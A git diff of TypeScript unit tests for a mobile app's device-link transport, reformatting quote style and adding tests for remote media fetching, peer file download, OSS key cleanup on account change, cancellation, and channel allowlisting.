+ const closing = preview.close();
+ expect(mocks.pause).toHaveBeenCalledOnce();
+ expect(mocks.removed).toHaveLength(0);
+ finish({ status: 200 });
+ await closing;
+ expect(mocks.remote).toHaveBeenCalledOnce();
+ expect(mocks.resolveRequest).not.toHaveBeenCalled();
+ expect(mocks.contents.size).toBe(0);
+ expect(deps.deleteOssObject).toHaveBeenCalledOnce();
+ });
+
+ it("keeps SSH identity and rejects an entry outside its workdir", async () => {
+ const { deps } = setup();
+ const ssh = { workdir: "/project", remoteHostId: "ssh-a", sessionId: "session-a" };
+ await expect(prepareMobileHtmlPreview("/other/index.html", { ...deps, ssh }, new AbortController().signal)).rejects.toThrow("OUTSIDE_WORKDIR");
+ const preview = await prepareMobileHtmlPreview("/project/site/index.html", { ...deps, ssh }, new AbortController().signal);
+ request("ssh", "index.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledOnce());
+ expect(mocks.remote.mock.calls[0][2]).toEqual(ssh);
+ await preview.close();
+ });
+});
diff --git a/apps/mobile/src/__tests__/mobileMakerTransport.test.ts b/apps/mobile/src/__tests__/mobileMakerTransport.test.ts
index 7df749fe73..af2c6c3237 100644
--- a/apps/mobile/src/__tests__/mobileMakerTransport.test.ts
+++ b/apps/mobile/src/__tests__/mobileMakerTransport.test.ts
@@ -1,708 +1,1067 @@
-import { readFileSync } from 'node:fs';
-import { resolve } from 'node:path';
-import { describe, expect, it, vi } from 'vitest';
+import { readFileSync } from "node:fs";
+import { resolve } from "node:path";
+import { describe, expect, it, vi } from "vitest";
import {
CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2,
REMOTE_INVOKE_ALLOWLIST,
-} from '@cindy/device-link';
+} from "@cindy/device-link";
import {
createMobileMakerTransport,
MOBILE_MAKER_CHANNELS,
-} from '@/device-link/mobileMakerTransport';
-import type { RemoteInvoke } from '@/device-link/mobileMakerTransport';
+} from "@/device-link/mobileMakerTransport";
+import type { RemoteInvoke } from "@/device-link/mobileMakerTransport";
+import { installPeerFileDownload } from "@/device-link/peerFileRegistry";
+import { resolveMobileRemoteMedia } from "@/session/remoteMedia";
+import {
+ setMobileAuthOwner,
+ __testing as authOwnerTesting,
+} from "@/auth/authOwnerGeneration";
function harness() {
- const calls: Array<{ deviceId: string; channel: string; args?: unknown[] }> = [];
- const invokeMock = vi.fn(async (deviceId: string, channel: string, args?: unknown[]) => {
- calls.push({ deviceId, channel, args });
- return { ok: true };
- });
+ const calls: Array<{ deviceId: string; channel: string; args?: unknown[] }> =
+ [];
+ const invokeMock = vi.fn(
+ async (deviceId: string, channel: string, args?: unknown[]) => {
+ calls.push({ deviceId, channel, args });
+ return { ok: true };
+ },
+ );
const invoke: RemoteInvoke = (deviceId, channel, args) =>
invokeMock(deviceId, channel, args) as Promise<never>;
- return { calls, invoke, maker: createMobileMakerTransport({ deviceId: 'dev-1', invoke }) };
+ return {
+ calls,
+ invoke,
+ maker: createMobileMakerTransport({ deviceId: "dev-1", invoke }),
+ };
}
-describe('mobile maker transport', () => {
- it('rejects a legacy unscoped quota response for an independent account', async () => {
+describe("mobile maker transport", () => {
+ it.each(["audio/mpeg", "video/mp4", "image/png", "application/pdf", "application/octet-stream"])("retains %s previews while preserving peer for complete byte consumers", async (mimeType) => {
+ const metadata = { ossKey: "", size: 70_000, mimeType, transferRequired: true };
+ const direct = { ...metadata, transferRequired: false };
+ const peer = vi.fn(async () => direct);
+ const uninstall = installPeerFileDownload(peer);
+ const invoke = vi.fn(async (_device, _channel, args) => {
+ expect(args[0]).not.toHaveProperty("stream");
+ if (args[0].op === "caps") return { fileRead: true };
+ if (args[0].op === "fileUrl") return { ok: true, url: "xdt-file://open?path=/media" };
+ return args[0].prepareOnly ? metadata : { ...metadata, ossKey: "stream/key", transferRequired: false };
+ });
+ try {
+ const maker = createMobileMakerTransport({ deviceId: "d", invoke: invoke as RemoteInvoke });
+ expect((await maker.fetchRemoteMedia("xdt-file://open?path=/media")).ossKey).toBe("stream/key");
+ expect(peer).not.toHaveBeenCalled();
+ expect(await maker.fileBrowser.readBytes("/p", "media")).toBe(direct);
+ expect(peer).toHaveBeenCalledOnce();
+ expect(await maker.fetchRemoteMedia("xdt-file://open?path=/media", { stream: false })).toBe(direct);
+ expect(peer).toHaveBeenCalledTimes(2);
+ } finally { uninstall(); }
+ });
+ it("does not return old-account OSS keys to a cleanup callback after account change", async () => {
+ setMobileAuthOwner("first");
+ const onDiscardOssKey = vi.fn();
+ const maker = createMobileMakerTransport({
+ deviceId: "d",
+ invoke: async <T,>() => {
+ setMobileAuthOwner("second");
+ return { ossKey: "first/key", size: 1, mimeType: "text/html" } as T;
+ },
+ });
+ try {
+ await expect(
+ maker.fetchRemoteMedia("xdt-file://open?path=/a", { onDiscardOssKey }),
+ ).rejects.toThrow("FILE_PEER_CANCELLED");
+ expect(onDiscardOssKey).not.toHaveBeenCalled();
+ } finally {
+ authOwnerTesting.reset();
+ }
+ });
+ it.each([
+ ["prepare", "abort"],
+ ["prepare", "stale"],
+ ["fallback", "abort"],
+ ["fallback", "stale"],
+ ])(
+ "returns late %s OSS ownership before %s cancellation",
+ async (phase, reason) => {
+ const abort = new AbortController();
+ let current = true;
+ const uploaded = new Set<string>();
+ const remove = vi.fn();
+ const presignGet = vi.fn();
+ const invoke = vi.fn(async (_device, _channel, args) => {
+ expect(args[0]).not.toHaveProperty("onDiscardOssKey");
+ if (phase === "fallback" && args[0].prepareOnly)
+ return {
+ ossKey: "",
+ size: 70_000,
+ mimeType: "text/html",
+ transferRequired: true,
+ };
+ if (reason === "abort") abort.abort();
+ else current = false;
+ return {
+ ossKey: "owned/late.html",
+ size: 70_000,
+ mimeType: "text/html",
+ };
+ });
+ const uninstall = installPeerFileDownload(async () => null);
+ const maker = createMobileMakerTransport({
+ deviceId: "d",
+ invoke: (device, channel, args) => invoke(device, channel, args) as Promise<never>,
+ isCurrent: () => current,
+ });
+ const read = async () => {
+ try {
+ return await resolveMobileRemoteMedia(
+ { kind: "image", url: "xdt-file://open?path=/late.html" },
+ { fetchRemoteMedia: maker.fetchRemoteMedia, presignGet },
+ { signal: abort.signal, onOssKey: (key) => uploaded.add(key) },
+ );
+ } finally {
+ for (const key of uploaded) remove(key);
+ }
+ };
+ try {
+ await expect(read()).rejects.toThrow("FILE_PEER_CANCELLED");
+ expect(remove).toHaveBeenCalledExactlyOnceWith("owned/late.html");
+ expect(presignGet).not.toHaveBeenCalled();
+ expect(invoke).toHaveBeenCalledTimes(phase === "prepare" ? 1 : 2);
+ } finally {
+ uninstall();
+ }
+ },
+ );
+ it("uses the shared inline/peer/OSS policy for media files", async () => {
+ const direct = { ossKey: "", size: 70_000, mimeType: "text/plain" };
+ const peer = vi.fn(async () => direct);
+ const uninstall = installPeerFileDownload(peer);
+ const invoke = vi
+ .fn()
+ .mockResolvedValueOnce({
+ ossKey: "",
+ size: 0,
+ mimeType: "text/plain",
+ inlineBase64: "",
+ })
+ .mockResolvedValueOnce({ ...direct, transferRequired: true });
+ try {
+ const maker = createMobileMakerTransport({ deviceId: "d", invoke });
+ expect(
+ (await maker.fetchRemoteMedia("xdt-file://open?path=/a")).inlineBase64,
+ ).toBe("");
+ expect(peer).not.toHaveBeenCalled();
+ expect(await maker.fetchRemoteMedia("xdt-file://open?path=/b", { stream: false })).toBe(
+ direct,
+ );
+ expect(peer).toHaveBeenCalledOnce();
+ } finally {
+ uninstall();
+ }
+ });
+ it("cancels before caps and keeps old-host export on the existing job protocol", async () => {
+ const invoke = vi
+ .fn()
+ .mockResolvedValueOnce({ ok: true })
+ .mockResolvedValueOnce({ ok: true, transferId: "job", size: 3 })
+ .mockResolvedValueOnce({ ok: true, state: "done", key: "oss/key" });
+ const maker = createMobileMakerTransport({ deviceId: "d", invoke });
+ const abort = new AbortController();
+ abort.abort();
+ await expect(
+ maker.fileBrowser.readBytes("/p", "a", abort.signal),
+ ).rejects.toThrow("CANCELLED");
+ expect(invoke).not.toHaveBeenCalled();
+ const open = vi.fn(async () => {});
+ expect(
+ (await maker.fileBrowser.readBytes("/p", "a", undefined, open)).ossKey,
+ ).toBe("oss/key");
+ expect(open).toHaveBeenCalledTimes(3);
+ expect(invoke.mock.calls.map((call) => call[2][0].op)).toEqual([
+ "caps",
+ "exportFileStart",
+ "exportFileStatus",
+ ]);
+ });
+ it("rejects a legacy unscoped quota response for an independent account", async () => {
const { maker, calls } = harness();
- await expect(maker.getCodexRateLimits('openai-second')).rejects.toThrow('Account scope unsupported');
- expect(calls.at(-1)).toMatchObject({ channel: 'maker:usage:codex-rate-limits', args: ['openai-second'] });
- await expect(maker.getAccountUsage('codex', 'openai-second')).rejects.toThrow('Account scope unsupported');
+ await expect(maker.getCodexRateLimits("openai-second")).rejects.toThrow(
+ "Account scope unsupported",
+ );
+ expect(calls.at(-1)).toMatchObject({
+ channel: "maker:usage:codex-rate-limits",
+ args: ["openai-second"],
+ });
+ await expect(
+ maker.getAccountUsage("codex", "openai-second"),
+ ).rejects.toThrow("Account scope unsupported");
});
- it('accepts only the requested account in scoped quota responses', async () => {
- const invoke: RemoteInvoke = async () => ({ providerId: 'openai-second' }) as never;
- const maker = createMobileMakerTransport({ deviceId: 'dev-1', invoke });
- await expect(maker.getCodexRateLimits('openai-second')).resolves.toMatchObject({ providerId: 'openai-second' });
- await expect(maker.getCodexRateLimits('openai-third')).rejects.toThrow('Account scope unsupported');
+ it("accepts only the requested account in scoped quota responses", async () => {
+ const invoke: RemoteInvoke = async () =>
+ ({ providerId: "openai-second" }) as never;
+ const maker = createMobileMakerTransport({ deviceId: "dev-1", invoke });
+ await expect(
+ maker.getCodexRateLimits("openai-second"),
+ ).resolves.toMatchObject({ providerId: "openai-second" });
+ await expect(maker.getCodexRateLimits("openai-third")).rejects.toThrow(
+ "Account scope unsupported",
+ );
});
- it('documents the remote channels used by the mobile transport', () => {
+ it("documents the remote channels used by the mobile transport", () => {
expect(MOBILE_MAKER_CHANNELS).toEqual([
- 'maker:create-session',
- 'maker:get-capabilities',
- 'maker:provider:list',
- 'local-db:sessions:get',
- 'local-db:conversations:search',
- 'local-db:sessions:patch-meta',
- 'local-db:messages:dismiss-error',
- 'local-db:sessions:ack-interrupted',
- 'maker:regenerate-title',
- 'local-db:messages:list',
- 'local-db:messages:view',
- 'local-db:messages:work-details',
- 'local-db:messages:view-intent',
- 'local-db:messages:around',
- 'local-db:messages:around-client-id',
- 'maker:send',
- 'maker:list-active',
- 'maker:set-model',
- 'maker:switch-session-agent',
- 'maker:get-session-agent-switch-intent',
- 'maker:set-effort',
- 'maker:set-permission-mode',
- 'maker:set-fast-mode',
- 'maker:set-thinking-enabled',
- 'maker:set-extra-dirs',
- 'maker:set-session-model-pref',
- 'maker:apply-new-maker-draft-pref',
- 'maker:get-new-maker-defaults',
- 'maker:apply-new-maker-worktree-pref',
- 'maker:get-new-maker-worktree-branch-pref',
- 'maker:apply-new-maker-worktree-branch-pref',
- 'maker:usage:model-pricing',
- 'local-db:messages:estimatedSessionValue',
- 'maker:usage:codex-rate-limits',
- 'maker:usage:codex-rate-limit-reset',
- 'maker:api-key:present',
- 'maker:list-agent-commands',
- 'maker:list-agent-skills',
- 'maker:scan-at-resources',
- 'device-link:media:fetch',
- 'device-link:voice:transcribe',
- 'device-link:voice:dictionary-learning',
- 'device-link:voice:dictionary:get',
- 'maker:get-pending-interactions',
- 'maker:resolve-interaction',
- 'maker:get-context-usage',
- 'maker:goal:set',
- 'maker:goal:clear',
- 'maker:goal:get-status',
- 'maker:goal:pause',
- 'maker:goal:resume',
- 'maker:goal:update',
- 'maker:fork',
- 'maker:get-session-tree',
- 'maker:navigate-session-tree',
- 'maker:rewind:preview',
- 'maker:rewind:commit',
- 'maker:message:delete',
- 'maker:close-session',
- 'maker:schedule:list',
- 'maker:schedule:get',
- 'maker:schedule:list-templates',
- 'maker:schedule:create-from-template',
- 'maker:schedule:create',
- 'maker:schedule:update',
- 'maker:schedule:list-runs',
- 'maker:schedule:run-now',
- 'maker:schedule:pause',
- 'maker:schedule:resume',
- 'maker:schedule:delete',
- 'maker:schedule:get-inflight-count',
- 'maker:schedule:mark-run-read',
- 'maker:schedule:mark-schedule-runs-read',
- 'maker:schedule:delete-run',
- 'notification:clear-session-attention',
- 'maker:project-automation:remove-schedule',
- 'maker:input:get-projection',
- 'maker:input:enqueue',
- 'maker:input:compact',
- 'maker:compact-session',
- 'maker:input:steer',
- 'maker:input:stop',
- 'maker:input:resume',
- 'maker:input:retry-last-error',
- 'maker:input:clear-error',
- 'maker:input:remove',
- 'maker:input:update-text',
- 'maker:input:update-content',
- 'maker:input:move',
- 'maker:input:set-expanded',
- 'maker:input:set-interaction-lock',
- 'maker:input:set-edit-lock',
- 'maker:input:clear-session',
- 'fs:list-dir',
- 'fs:stat-path',
- 'fs:mkdir-p',
- 'worktree:detect-cwd',
- 'worktree:list-branches',
- 'worktree:suggest-name',
- 'worktree:create',
- 'worktree:discard-precreated',
- 'text-file:read-preview',
- 'file-browser:remote-op',
+ "maker:create-session",
+ "maker:get-capabilities",
+ "maker:provider:list",
+ "local-db:sessions:get",
+ "local-db:conversations:search",
+ "local-db:sessions:patch-meta",
+ "local-db:messages:dismiss-error",
+ "local-db:sessions:ack-interrupted",
+ "maker:regenerate-title",
+ "local-db:messages:list",
+ "local-db:messages:view",
+ "local-db:messages:work-details",
+ "local-db:messages:view-intent",
+ "local-db:messages:around",
+ "local-db:messages:around-client-id",
+ "maker:send",
+ "maker:list-active",
+ "maker:set-model",
+ "maker:switch-session-agent",
+ "maker:get-session-agent-switch-intent",
+ "maker:set-effort",
+ "maker:set-permission-mode",
+ "maker:set-fast-mode",
+ "maker:set-thinking-enabled",
+ "maker:set-extra-dirs",
+ "maker:set-session-model-pref",
+ "maker:apply-new-maker-draft-pref",
+ "maker:get-new-maker-defaults",
+ "maker:apply-new-maker-worktree-pref",
+ "maker:get-new-maker-worktree-branch-pref",
+ "maker:apply-new-maker-worktree-branch-pref",
+ "maker:usage:model-pricing",
+ "local-db:messages:estimatedSessionValue",
+ "maker:usage:codex-rate-limits",
+ "maker:usage:codex-rate-limit-reset",
+ "maker:api-key:present",
+ "maker:list-agent-commands",
+ "maker:list-agent-skills",
+ "maker:scan-at-resources",
+ "device-link:media:fetch",
+ "device-link:voice:transcribe",
+ "device-link:voice:dictionary-learning",
+ "device-link:voice:dictionary:get",
+ "maker:get-pending-interactions",
+ "maker:resolve-interaction",
+ "maker:get-context-usage",
+ "maker:goal:set",
+ "maker:goal:clear",
+ "maker:goal:get-status",
+ "maker:goal:pause",
+ "maker:goal:resume",
+ "maker:goal:update",
+ "maker:fork",
+ "maker:get-session-tree",
+ "maker:navigate-session-tree",
+ "maker:rewind:preview",
+ "maker:rewind:commit",
+ "maker:message:delete",
+ "maker:close-session",
+ "maker:schedule:list",
+ "maker:schedule:get",
+ "maker:schedule:list-templates",
+ "maker:schedule:create-from-template",
+ "maker:schedule:create",
+ "maker:schedule:update",
+ "maker:schedule:list-runs",
+ "maker:schedule:run-now",
+ "maker:schedule:pause",
+ "maker:schedule:resume",
+ "maker:schedule:delete",
+ "maker:schedule:get-inflight-count",
+ "maker:schedule:mark-run-read",
+ "maker:schedule:mark-schedule-runs-read",
+ "maker:schedule:delete-run",
+ "notification:clear-session-attention",
+ "maker:project-automation:remove-schedule",
+ "maker:input:get-projection",
+ "maker:input:enqueue",
+ "maker:input:compact",
+ "maker:compact-session",
+ "maker:input:steer",
+ "maker:input:stop",
+ "maker:input:resume",
+ "maker:input:retry-last-error",
+ "maker:input:clear-error",
+ "maker:input:remove",
+ "maker:input:update-text",
+ "maker:input:update-content",
+ "maker:input:move",
+ "maker:input:set-expanded",
+ "maker:input:set-interaction-lock",
+ "maker:input:set-edit-lock",
+ "maker:input:clear-session",
+ "fs:list-dir",
+ "fs:stat-path",
+ "fs:mkdir-p",
+ "worktree:detect-cwd",
+ "worktree:list-branches",
+ "worktree:suggest-name",
+ "worktree:create",
+ "worktree:discard-precreated",
+ "text-file:read-preview",
+ "file-browser:remote-op",
]);
});
- it('keeps mobile remote channels inside the desktop device-link allowlist', () => {
- expect(MOBILE_MAKER_CHANNELS.filter((channel) => !REMOTE_INVOKE_ALLOWLIST.has(channel))).toEqual([]);
+ it("keeps mobile remote channels inside the desktop device-link allowlist", () => {
+ expect(
+ MOBILE_MAKER_CHANNELS.filter(
+ (channel) => !REMOTE_INVOKE_ALLOWLIST.has(channel),
+ ),
+ ).toEqual([]);
});
- it('routes tail-banner dismiss and interrupt ack with desktop preload argument order', async () => {
+ it("routes tail-banner dismiss and interrupt ack with desktop preload argument order", async () => {
const { calls, maker } = harness();
- await maker.dismissErrorMessage('s1', 'error-client-1');
- await maker.ackInterruptedTurn('s1');
+ await maker.dismissErrorMessage("s1", "error-client-1");
+ await maker.ackInterruptedTurn("s1");
expect(calls).toEqual([
- { channel: 'local-db:messages:dismiss-error', args: ['s1', 'error-client-1'], deviceId: 'dev-1' },
- { channel: 'local-db:sessions:ack-interrupted', args: ['s1'], deviceId: 'dev-1' },
+ {
+ channel: "local-db:messages:dismiss-error",
+ args: ["s1", "error-client-1"],
+ deviceId: "dev-1",
+ },
+ {
+ channel: "local-db:sessions:ack-interrupted",
+ args: ["s1"],
+ deviceId: "dev-1",
+ },
]);
});
- it('routes message reads and sends with desktop preload argument order', async () => {
+ it("routes message reads and sends with desktop preload argument order", async () => {
const { calls, maker } = harness();
- await maker.listMessages('s1', { limit: 80 });
- await maker.aroundMessages('s1', 'message-id', { radius: 60 });
- await maker.aroundMessagesByClientId('s1', 'client-id', { radius: 40 });
- await maker.patchSessionMeta('s1', { title: 'Renamed' });
- await maker.send('s1', 'hello', undefined, { throwOnStartFailure: true });
+ await maker.listMessages("s1", { limit: 80 });
+ await maker.aroundMessages("s1", "message-id", { radius: 60 });
+ await maker.aroundMessagesByClientId("s1", "client-id", { radius: 40 });
+ await maker.patchSessionMeta("s1", { title: "Renamed" });
+ await maker.send("s1", "hello", undefined, { throwOnStartFailure: true });
await maker.listActiveSessions();
expect(calls).toEqual([
{
- deviceId: 'dev-1',
- channel: 'local-db:messages:list',
- args: ['s1', { limit: 80 }],
+ deviceId: "dev-1",
+ channel: "local-db:messages:list",
+ args: ["s1", { limit: 80 }],
},
{
- deviceId: 'dev-1',
- channel: 'local-db:messages:around',
- args: ['s1', 'message-id', { radius: 60 }],
+ deviceId: "dev-1",
+ channel: "local-db:messages:around",
+ args: ["s1", "message-id", { radius: 60 }],
},
{
- deviceId: 'dev-1',
- channel: 'local-db:messages:around-client-id',
- args: ['s1', 'client-id', { radius: 40 }],
+ deviceId: "dev-1",
+ channel: "local-db:messages:around-client-id",
+ args: ["s1", "client-id", { radius: 40 }],
},
{
- deviceId: 'dev-1',
- channel: 'local-db:sessions:patch-meta',
- args: ['s1', { title: 'Renamed' }],
+ deviceId: "dev-1",
+ channel: "local-db:sessions:patch-meta",
+ args: ["s1", { title: "Renamed" }],
},
{
- deviceId: 'dev-1',
- channel: 'maker:send',
- args: ['s1', 'hello', undefined, { throwOnStartFailure: true }],
+ deviceId: "dev-1",
+ channel: "maker:send",
+ args: ["s1", "hello", undefined, { throwOnStartFailure: true }],
},
{
- deviceId: 'dev-1',
- channel: 'maker:list-active',
+ deviceId: "dev-1",
+ channel: "maker:list-active",
args: [{ summary: true }],
},
]);
});
- it('routes remote create-session through the desktop device-link channel', async () => {
+ it("routes remote create-session through the desktop device-link channel", async () => {
const { calls, maker } = harness();
const opts = {
- agentKind: 'claude-code' as const,
- workingDir: '/repo/xdt-maker',
- workspaceKind: 'project' as const,
- model: 'claude-sonnet-4-6',
- effort: 'medium',
- permissionMode: 'acceptEdits',
+ agentKind: "claude-code" as const,
+ workingDir: "/repo/xdt-maker",
+ workspaceKind: "project" as const,
+ model: "claude-sonnet-4-6",
+ effort: "medium",
+ permissionMode: "acceptEdits",
fastMode: false,
};
await maker.createSession(opts);
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:create-session',
- args: [opts],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:create-session",
+ args: [opts],
+ },
+ ]);
});
- it('routes task search through the controlled desktop conversations:search channel', async () => {
+ it("routes task search through the controlled desktop conversations:search channel", async () => {
const { calls, maker } = harness();
- const request = { query: 'needle', semanticMode: 'keyword' as const };
+ const request = { query: "needle", semanticMode: "keyword" as const };
await maker.searchConversations(request);
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'local-db:conversations:search',
- args: [request],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "local-db:conversations:search",
+ args: [request],
+ },
+ ]);
});
- it('routes capability reads through the controlled desktop maker channel', async () => {
+ it("routes capability reads through the controlled desktop maker channel", async () => {
const { calls, maker } = harness();
- await maker.getCapabilities('claude-code');
+ await maker.getCapabilities("claude-code");
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:get-capabilities',
- args: ['claude-code'],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:get-capabilities",
+ args: ["claude-code"],
+ },
+ ]);
});
- it('mirrors the controlled desktop provider structure via maker:provider:list', async () => {
+ it("mirrors the controlled desktop provider structure via maker:provider:list", async () => {
const { calls, maker } = harness();
await maker.listProviders();
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:provider:list',
- args: [{
- capabilities: [CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2],
- }],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:provider:list",
+ args: [
+ {
+ capabilities: [CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2],
+ },
+ ],
+ },
+ ]);
});
- it('carries providerId into create-session only when a source is explicitly chosen', async () => {
+ it("carries providerId into create-session only when a source is explicitly chosen", async () => {
const { calls, maker } = harness();
const base = {
- agentKind: 'codex' as const,
- workspaceKind: 'dialogue' as const,
- model: 'gpt-5.5',
- permissionMode: 'acceptEdits',
+ agentKind: "codex" as const,
+ workspaceKind: "dialogue" as const,
+ model: "gpt-5.5",
+ permissionMode: "acceptEdits",
fastMode: false,
};
- await maker.createSession({ ...base, providerId: 'openai' });
+ await maker.createSession({ ...base, providerId: "openai" });
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:create-session',
- args: [{ ...base, providerId: 'openai' }],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:create-session",
+ args: [{ ...base, providerId: "openai" }],
+ },
+ ]);
});
- it('routes pending interactions through maker:resolve-interaction', async () => {
+ it("routes pending interactions through maker:resolve-interaction", async () => {
const { calls, maker } = harness();
- const decision = { kind: 'ask_user_question', answers: { question: 'answer' } };
+ const decision = {
+ kind: "ask_user_question",
+ answers: { question: "answer" },
+ };
- await maker.getPendingInteractions('s1');
- await maker.resolveInteraction('req-1', decision);
+ await maker.getPendingInteractions("s1");
+ await maker.resolveInteraction("req-1", decision);
expect(calls).toEqual([
{
- deviceId: 'dev-1',
- channel: 'maker:get-pending-interactions',
- args: ['s1'],
+ deviceId: "dev-1",
+ channel: "maker:get-pending-interactions",
+ args: ["s1"],
},
{
- deviceId: 'dev-1',
- channel: 'maker:resolve-interaction',
- args: ['req-1', decision],
+ deviceId: "dev-1",
+ channel: "maker:resolve-interaction",
+ args: ["req-1", decision],
},
]);
});
- it('does not advertise or emit the unimplemented model-window confirmation protocol', async () => {
+ it("does not advertise or emit the unimplemented model-window confirmation protocol", async () => {
const contextSource = readFileSync(
- resolve(process.cwd(), 'src/device-link/DeviceLinkContext.tsx'),
- 'utf8',
+ resolve(process.cwd(), "src/device-link/DeviceLinkContext.tsx"),
+ "utf8",
);
const transportSource = readFileSync(
- resolve(process.cwd(), 'src/device-link/mobileMakerTransport.ts'),
- 'utf8',
+ resolve(process.cwd(), "src/device-link/mobileMakerTransport.ts"),
+ "utf8",
);
const { calls, maker } = harness();
- await maker.setModel('s1', 'small-model', 'anthropic');
+ await maker.setModel("s1", "small-model", "anthropic");
- expect(contextSource).not.toContain('CONTROLLER_CAPABILITY_MODEL_WINDOW_CONFIRMATION_V1');
- expect(contextSource).not.toContain('model-window-confirmation-v1');
- expect(transportSource).not.toContain('confirmedOverflow');
- expect(transportSource).not.toContain('confirmedContextWindow');
+ expect(contextSource).not.toContain(
+ "CONTROLLER_CAPABILITY_MODEL_WINDOW_CONFIRMATION_V1",
+ );
+ expect(contextSource).not.toContain("model-window-confirmation-v1");
+ expect(transportSource).not.toContain("confirmedOverflow");
+ expect(transportSource).not.toContain("confirmedContextWindow");
expect(calls).toEqual([
{
- deviceId: 'dev-1',
- channel: 'maker:set-model',
- args: ['s1', 'small-model', 'anthropic'],
+ deviceId: "dev-1",
+ channel: "maker:set-model",
+ args: ["s1", "small-model", "anthropic"],
},
]);
});
- it('sends model/provider/effort/Fast as one atomic set-model selection', async () => {
+ it("sends model/provider/effort/Fast as one atomic set-model selection", async () => {
const { calls, maker } = harness();
- await maker.setModel('s1', 'fixed-model', 'provider-a', {
+ await maker.setModel("s1", "fixed-model", "provider-a", {
effort: null,
fastMode: false,
});
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:set-model',
- args: [
- 's1',
- 'fixed-model',
- 'provider-a',
- null,
- { effort: null, fastMode: false },
- ],
- }]);
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:set-model",
+ args: [
+ "s1",
+ "fixed-model",
+ "provider-a",
+ null,
+ { effort: null, fastMode: false },
+ ],
+ },
+ ]);
});
- it('fails closed when a legacy Desktop returns model-window confirmation data', async () => {
- const invoke: RemoteInvoke = async () => ({
- deferred: false,
- contextWindowConfirmationRequired: 272_000,
- contextTokensForConfirmation: 244_800,
- }) as never;
- const maker = createMobileMakerTransport({ deviceId: 'dev-1', invoke });
+ it("fails closed when a legacy Desktop returns model-window confirmation data", async () => {
+ const invoke: RemoteInvoke = async () =>
+ ({
+ deferred: false,
+ contextWindowConfirmationRequired: 272_000,
+ contextTokensForConfirmation: 244_800,
+ }) as never;
+ const maker = createMobileMakerTransport({ deviceId: "dev-1", invoke });
- await expect(maker.setModel('s1', 'pi-model')).rejects.toMatchObject({
- code: 'PRECONDITION_FAILED',
+ await expect(maker.setModel("s1", "pi-model")).rejects.toMatchObject({
+ code: "PRECONDITION_FAILED",
message:
- 'remote model-window confirmation is unsupported; runtime selection was not changed',
+ "remote model-window confirmation is unsupported; runtime selection was not changed",
});
});
- it('routes runtime controls and queue operations with stable channel names', async () => {
+ it("routes runtime controls and queue operations with stable channel names", async () => {
const { calls, maker } = harness();
- await maker.setModel('s1', 'claude-opus-4-7');
- await maker.setModel('s1', 'gpt-5.5', 'openai');
- await maker.switchSessionAgent('s1', 'codex', 'gpt-5.5', 'openai', 'high', true);
- await maker.getSessionAgentSwitchIntent('s1');
- await maker.setEffort('s1', 'high');
- await maker.setPermissionMode('s1', 'plan');
- await maker.setFastMode('s1', true);
- await maker.setExtraDirs('s1', ['/repo/docs']);
- await maker.listAgentCommands('claude-code');
- await maker.listAgentCommands('pi', { sessionId: 's1' });
- await maker.listAgentSkills('claude-code', { workingDir: '/repo' });
- await maker.listAgentSkills('pi', { workingDir: '/repo', sessionId: 's1' });
- await maker.listAgentSkills('codex', {});
- await maker.scanAtResources('claude-code', { workingDir: '/repo', cap: 2000, query: 'session' });
- await maker.fetchRemoteMedia('xdt-image://local/a.png');
- await maker.transcribeVoice({ ossKey: 'voice-key', mimeType: 'audio/mp4', fileName: 'voice.m4a' });
+ await maker.setModel("s1", "claude-opus-4-7");
+ await maker.setModel("s1", "gpt-5.5", "openai");
+ await maker.switchSessionAgent(
+ "s1",
+ "codex",
+ "gpt-5.5",
+ "openai",
+ "high",
+ true,
+ );
+ await maker.getSessionAgentSwitchIntent("s1");
+ await maker.setEffort("s1", "high");
+ await maker.setPermissionMode("s1", "plan");
+ await maker.setFastMode("s1", true);
+ await maker.setExtraDirs("s1", ["/repo/docs"]);
+ await maker.listAgentCommands("claude-code");
+ await maker.listAgentCommands("pi", { sessionId: "s1" });
+ await maker.listAgentSkills("claude-code", { workingDir: "/repo" });
+ await maker.listAgentSkills("pi", { workingDir: "/repo", sessionId: "s1" });
+ await maker.listAgentSkills("codex", {});
+ await maker.scanAtResources("claude-code", {
+ workingDir: "/repo",
+ cap: 2000,
+ query: "session",
+ });
+ await maker.fetchRemoteMedia("xdt-image://local/a.png");
+ await maker.transcribeVoice({
+ ossKey: "voice-key",
+ mimeType: "audio/mp4",
+ fileName: "voice.m4a",
+ });
await maker.recordVoiceDictionaryLearning({
- source: 'mobile',
- rawTranscriptText: 'xd maker',
- beforeText: 'XDMaker',
- afterText: 'XDMaker',
+ source: "mobile",
+ rawTranscriptText: "xd maker",
+ beforeText: "XDMaker",
+ afterText: "XDMaker",
});
await maker.getVoiceDictionary();
- await maker.input.stop('s1', { pauseQueue: true });
- await maker.input.compact('s1');
- await maker.compactSession('s1');
- await maker.compactSession('s1', '');
- await maker.compactSession('s1', 'focus on API design');
- await maker.input.retryLastError('s1');
- await maker.input.clearError('s1');
- await maker.input.updateText('s1', 'queued-1', 'updated');
- await maker.input.updateContent('s1', 'queued-1', { clientId: 'queued-1' } as never);
- await maker.input.setEditLock('s1', 'queued-1', true);
- await maker.input.setEditLock('s1', 'queued-1', false);
- await maker.fs.readTextFilePreview('/repo/spec.md');
+ await maker.input.stop("s1", { pauseQueue: true });
+ await maker.input.compact("s1");
+ await maker.compactSession("s1");
+ await maker.compactSession("s1", "");
+ await maker.compactSession("s1", "focus on API design");
+ await maker.input.retryLastError("s1");
